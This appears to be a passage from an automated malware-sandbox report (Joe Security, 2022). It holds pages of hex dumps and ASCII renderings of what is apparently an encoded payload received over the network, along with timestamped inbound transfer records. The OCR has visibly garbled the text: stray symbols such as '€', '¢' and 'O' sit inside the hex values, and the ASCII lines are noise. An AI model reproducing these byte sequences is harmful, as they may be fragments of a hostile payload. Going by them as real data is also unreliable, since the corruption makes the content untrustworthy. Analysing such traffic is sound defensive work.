1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91
cc 1c 2566 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7
dcc 1c 2566 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00
6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da
00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5

Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f% %% %f%f%}%6fy Yofu%f%fqvefmyefi%fdefefvefeYofadefof

Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49
29 64 2b dd 11 c0 1c 25 16 2b 50 b1 Oe e5 64 e2 5e al 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22
29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e €9 0d 66 b4 64 39 49 68 99 49 2d 68 al 49 29 68 91 49 31 66 5 66 ef
5c be 25 15 da da 64 71 49 35 de 39 49 5¢ e7 da ea 25 25 5¢ 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39
06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35
4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66
20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 €5 50 2b Oe €5 64 de c6 ea 66

Data Ascii: %f+fe-u;!"P/%%%%f+fil)d+%+Pd"11%fil-dfil 1il-d")*=8:6f.{20"fd9IhI-h1)h11f\%dqI591\%%\%dy 19fil 5dfil
9il5d)|%d6ffe-d+ffel+d %f+ilSN+fil5d+f %il9fil9d %f+ %N)%5%%f %-+uf+uk” P+df

Data Raw: 0d f9 1b da da eb e0 €9 c0 1c 25 25 7¢ 49 Ob 1c 25 75 0d c¢7 1b da da Oe e5 7e 49 Ob 1c 25 7c 11 c0 1c 25 64
20 1d c6 6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d
50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d Ob 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20
21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 cO 1c 25 64 20 21 5e 58 21 25 50 b
aOe e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1
b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d Ob 1c 25 50 e4 66 75 29 64 f0 3d Ob 1c 25 66 75 29
64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 f2 60 {7 54

Data Ascii: %%|1%u~1%|%d %%%%f fe-uf f%d % P%C!%9M%/|%d "X!%f 11%~%f lu|%d "X!%P44d5Ae%(
9%%/%%A%%448./=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP T

Data Raw: 29 66 e2 7e 45 Ob 1c 25 66 22 29 7e 41 Ob 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e €9 1d 66 fd 66 f9
68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 €9 0d 32 da da da a9 e5 50 29 Oe e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e
€9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 €9 0d 4b da da da a9 e5 50 29 Oe e5 c6 27
d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 Oe a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 €8 49 Ob 1c 25
66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e €9 19 66 fd 68 99 49 2d 9a
3d Ob 1c 25 98 41 Ob 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b
3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d

Data Ascii: )f~E%f")~A%"5:6he%. ffh)"al%f2P)'46 .{ fffh{)fF al%fKP)'46he%,fd/ T"'%)%%Zf|%fq\d/"_%P-e)%%Pfhe%.{
207fhI-=%A%|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 65 IN
2022-06-26 07:42:48 UTC 67 IN
2022-06-26 07:42:48 UTC 68 IN
2022-06-26 07:42:48 UTC 69 IN
2022-06-26 07:42:48 UTC 71 IN
2022-06-26 07:42:48 UTC 72 IN
2022-06-26 07:42:48 UTC 73 IN
2022-06-26 07:42:48 UTC 75 IN
2022-06-26 07:42:48 UTC 76 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 ¢6 0 66 20 21 36 66 cO 38
9e 66 €5 2e 7b 32 30 5e €9 19 66 ff 5e 9e €2 5e be 21 5e d6 31 58 €0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55
5¢ 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66
79 49 29 16 0 45 Ob 1c 25 50 51 04 08 45 Ob 1c 25 dc 08 41 Ob 1c 25 5e 18 41 Ob 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0
b 1c 25 04 08 41 Ob 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69
49 2d de 8d 2d 66 69 49 2d 0d 2c dO da da 5e d8 31 al fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69
49 29 5e €5 29 0d 67 1b da da c4 ea dc 25 25 66 03 ¢4 2d dc 25 25 66 d6

Data AsCil: €%6(%%/%627%%f 16f8f. {20/ ANATX1%6%96)d) If) FUNZD)Idil) PY%%%%%fTyl) EYP QE%A% A%1h
JUYEYAYI%%dilfil) % P=fil)dil-fil-fil- ALHIil il dMiN)) g%%f-%6f

Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba Oe c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50
65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f cO da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6
99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06
2b de 0d 66 €2 64 2b 66 2b a5 5d 45 52 ¢3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69
49 35 Oe c8 ¢c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2
4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d
2599 55 66 2b 75 0d 6¢ 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2

Data Ascii: +]GPf+GP/+'f+dil16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ER(il)f%%fil 1d+fil)f%dil5Vf
+]GPuf+ud+If+udf+N9f+%fyl5)O+ f+f+=GPf+]%Uf+uld+If+u’d

Data Raw: 59 65 25 25 25 a0 53 el c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1
a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1
3 f6 7 ae 73 65 c5 a9 39 65 3¢ 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d
9d 14 1a 5¢ 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5¢ 20 65 al 4a 21 40 65 c3 90 95
06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 Ob
5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 al 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e bl Oa 8f
81 f4 21 4b 7 96 1e 9b be f1 17 04 Oa a9 5c 4b 69 7 2f b5

Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%|se9e<,4welOe_Ejle\e[j|:esB)eG\ eJ!@exD
e$e~9v;"nZ|;7gFO0hgUawgx, K\Ki/

Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5¢ 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da
3c 15 9e b5 77 2c 2e a9 f7 al de da 75 19 Oc 7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64
2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 €5 99 33 66 2d d7 5¢ 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25
9e 68 65 25 66 35 da 77 1d 9e 66 €5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 e 66 5 a9 f7 5a dc 9e 75 77 66 35 da 77
0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f ¢8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25
99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e €9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f ¢8 33 da fO
3905 1c 25 5e €9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc

Data Ascii: {fW\#%N5uf%}df-<w,.uhql5f?ddD-)e%d1d/64 %%filQfel 3f-\u,!}%%% %%heY%f5wi.fffswiefZuwfswiM
9%%%%39%M%%uuwy'%39%"-the%y%39%")the%M%

Data Raw: 65 29 64 20 21 Oe e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20
1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 Oe e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da Od 9d d8 da da
0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e €9 1d 2e 7b 32 9a 5d Ob 1c 25 66 22 2d 60 e5 99 79 66 55 Oe b6 66 65
29 64 20 21 Oe e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 9
9 de da 30 1d 16 ce 5a Ob Oe e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d Oc da da da 0d 2d d8 da da 0d 32 d8 da da 3a
8336 34 3438 9e 2c 7b 32 €3 5d Ob 1c 25 68 58 €9 94 e6 25 25 25 ce 80 6a €0 7d Ob 1c 25 6a e0 79 Ob 1c 25 64 08 71
Ob 1c 25 64 f8 75 Ob 1c 25 7e 65 Ob 1c 25 64 f0 6d Ob 1c 25 68 28 e9

Data Ascii: e)d !108ae%UdE &d1f Ifi)d *X%0°Z44d59|:64480f".{2]%f"-"yfUfe)d |0ae%UdE?f If)d d:1°X%0Z44d59-2:6448,
{2]9%6hX%%%;}%jy%dq%du6~e%dm%h(

Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5¢ €9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66
a2 0d a9 23 da da c6 3a 68 93 dc 5¢c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66
fd 60 b6 al ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49
29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d ee 29 25 25 5¢ €9 29 35 25 25 38 3a 83 36 9e 77 64 07
94 dc 25 25 25 0d d6 23 da da 7f 9e b5 Oc a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29
c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29
99 33 8b 16 6f 2b 99 €0 5e e7 2d c6 09 5e e7 27 5e e7 27

Data Ascii: |8)%.{20\)uNfd9If Zf#:h\%%XM{hil-fql)%%f hy!)ffQfffW)%%6{ffql) fyf X'ff)%%\)5%%8:6wd%%%# w_/_0_0'_o
~gggd#he% w/Eo'0)30+"-"

Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 el da da da 66 6f 21 ac c4 ea a9
8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c €9 29 15 da da 75 5e e9 21 66 cc 64 39
49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2
25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7
b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83
36 9e 66 e5 60 a4 ea a9 31 da da da 75 2¢ 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5
0Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29

Data Ascii: %%%u”)sP6he% ‘fo!,wu0’L.{20\)urIfd9If Zf8h\%%XM{hil-fql) %%Af hyl) %% %Offf%%{ffql)ff X fD%%\)5%%8:
6f 1u,w #Wd"w/Eo'0)

Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29
0d 42 33 25 25 2a 5a ce c6 €8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da fO
3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb Oc e5 af 1c dc 68 al 2d 2f 66 4a 21 Oc e5 66 2a 1d 2c 66
222904 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 Oc a5 d4 e6 99 18 a5 d4 31 99
24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da
da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 ¢6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd
0d 2c da da da dd 35 25 25 25 c6 36 Oc a4 af 6f dc da 99 ec 27

Data Ascii: *Z8WO0ddS'd*Z8Af")B3%%*Zf") E%%*Z:6"=%%=%5".{20ddh-/fJ!f* f*)df")ff7//1$03%%%%%%'8:6fOU) %
%%Xf9U)%%%h9U,5%%%60'

Data Raw: 66 3d 60 b6 5a f6 60 b6 58 €2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 Oe da 5e
58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 7
99 e2 66 27 64 20 1d c6 e0 Oe e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e
20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 6
6 ae ea 8afb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66
20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66
20 0d 5e e5 2d Oe a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 Od

Data Ascii: f="Z"X)f 1f0>%%"X%"H)f f]*H)f e f f'fu+'f'd d fd f t)7~ -*X%-f A|Paf d ~X%f ~-fffOh fOf d >f -f >d dX8Xd8"X%Qf0f
A-ef ufoIf7f
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2022-06-26 07:42:48 UTC 80 IN
2022-06-26 07:42:48 UTC 82 IN
2022-06-26 07:42:48 UTC 83 IN
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Copyright Joe Security LLC 2022

Data

Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba
23 dada 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d
€6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 Oe e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e
c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da
da 75 0d 2c df da da Oe b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 6
0 ba 23 dada 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23
da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da

Data Ascii: %%%h #%%\h uh u%%h #uf u'Gh uh u%%}e%f u’) % %44d522e%f u%%:f !uh'#uh uZu,#%%%%
X%P/X%%%%h #uhp#d (f ]Sh'# Ph'# %%%

Data Raw: 5e €9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f Oe €5 64 20 15 ¢4 e4 dc 25 25 a2 20 15 da da da
da Oe 5 Oe 1b 5e 58 21 25 ea a9 84 25 25 25 ¢4 a7 25 25 25 66 30 19 Oe a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e
fd 25 25 25 5e be 1a 1b 9¢ 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be €5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25
25 25 a5 07 1a 5¢ 07 da 25 25 25 9¢ be 2b 6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be 5 a5 d6 a5 ea 60 68 25 25 25 a5
07 1a 5¢ 07 da 25 25 25 9¢ bc 2b 8b €6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d
ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b
e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39

Data Ascii: A.{d(d0d I"X%P/d %% ~X1%%6%6%%%%6f01WKP-"%%6%6"E STOOWKF %%6%6P-"%%%\%%6%+f09WkKF h%%6%6\
%6%06+(1d9f0ld1geP-N )f mf0!)g%%"P-Ngf09WKUP-NE9f09

Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d
bd dadada 7c cl e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c
25da 99 f8 7c cl e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31
252525 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c cl e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 Ob 1c 2
57ccle51c25a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 dada da 7c cl e5 1c 25 75 0d f7 23 da da 60 e5 99
dc 9e 7c¢ 99 Ob 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31
dc 50 4f 75 77 eb €0 89 Ob 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f

Data Ascii: |%uh6f1%%% ~%)|%u8~%he%, 1%%% K"%|%u[d)*al%f)Iu1f1%%% "%|%u#%| %PKfQ%%%f)| You# | %

u# %% "X1POuw%f(-d%do

Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da Oe e5 30 8d 9f 42
65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b al 55 6b Oe da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d
d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb Oe e5 7f 34 34 89 64 35 8d
5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 7 da da c6 03 af 20
ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 Oe {7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 8
4 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 ¢6 61 84 25 25 25 a5 99 2d 5¢ ef a5 25 25 25 c6 08 5e
ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29

Data Ascii: d !f(f 1f%5e%f 0Be%UdE %fPks Ukf8!f ufug# Pf -d] "*)sP44d5\Be%bh f If(f%5e% fXfPf8f8)%%%%
)+H\%'%%%%%E %% %e % %% e Ea%%%-\%% %" 5% % %e % %%")

Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 cO
389e 30 66 11 Oe e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 Ob 1c 25 Oe e5 7f 34 34 89 64 35 8d b9 91 65 25 9e
c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 Ob 1c 25 dc 9e 8d Ob 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d Ob 1c 25
17 da 25 25 8d Ob 1c 25 ce da 25 25 8d Ob 1c 25 19 da 25 25 8d Ob 1c 25 dO da 25 25 8d Ob 1c 25 1b da 25 25 8d Ob 1c
25 d2 da 25 25 8d Ob 1c 25 1d da 25 25 8d Ob 1c 25 d4 da 25 25 8d Ob 1c 25 1f da 25 25 8d Ob 1c 25 d6 da 25 25 8d Ob
1c 25 21 da 25 25 8d Ob 1c 25 d8 da 25 25 8d Ob 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d Ob 1c 25 05 da 25 25 8d
0Ob 1c 25 be da 25 25 8d Ob 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d

Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e %8 % %% %% % % %% %% % %% % %% %% % % % %% %% %% % % %% %
9% %% %! %% %% % %6#% %% % % % %% %% % % %% %% %

Data Raw: 25 25 25 25 25 f1 4c¢ 65 25 35 25 25 25 4d 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65
2559 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3¢ 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4¢ 65 25 d9
5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97
4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65
25 35 25 25 25 05 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 bl 59
65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25

Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye%k7 @< >@DIQe%%%%%%%%%%%%%%
9%%%%%% %% %%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%Y Ye%uYe%Ye% $ Ife%%%%%%%% %% %%
9%%%%% %% %% %%% %% %% %e%5%% %L e%[e%[e%[e%[e%[e%Y Ye%uYe%YeY%/ iDgT@Je%%%%% %%

Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e
99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59
59 65 25 75 59 65 25 b1 59 65 25 e4 20 1e 4a 93 99 97 4a 91 le 66 5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65
25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 €8 20 7b 3¢ 97 44 3¢ 93 99 20 97 97 4a 97 66 5 49 9d
65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: [e%[e%[e%[e%[e%Y Ye%uYe%Ye%3 .<>F*@JRRe%%%%%%%%% %% % % %% %% %% %
%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%Y YeYuYe%Ye% JIRe%%%%%% % %%%%% % %%%%%
%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%Y YeYuYe%Ye% {<D< Jfle%%%%%%%%%%% %%
9%%%%%%%%% %%

Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83
da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2
04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e Oc
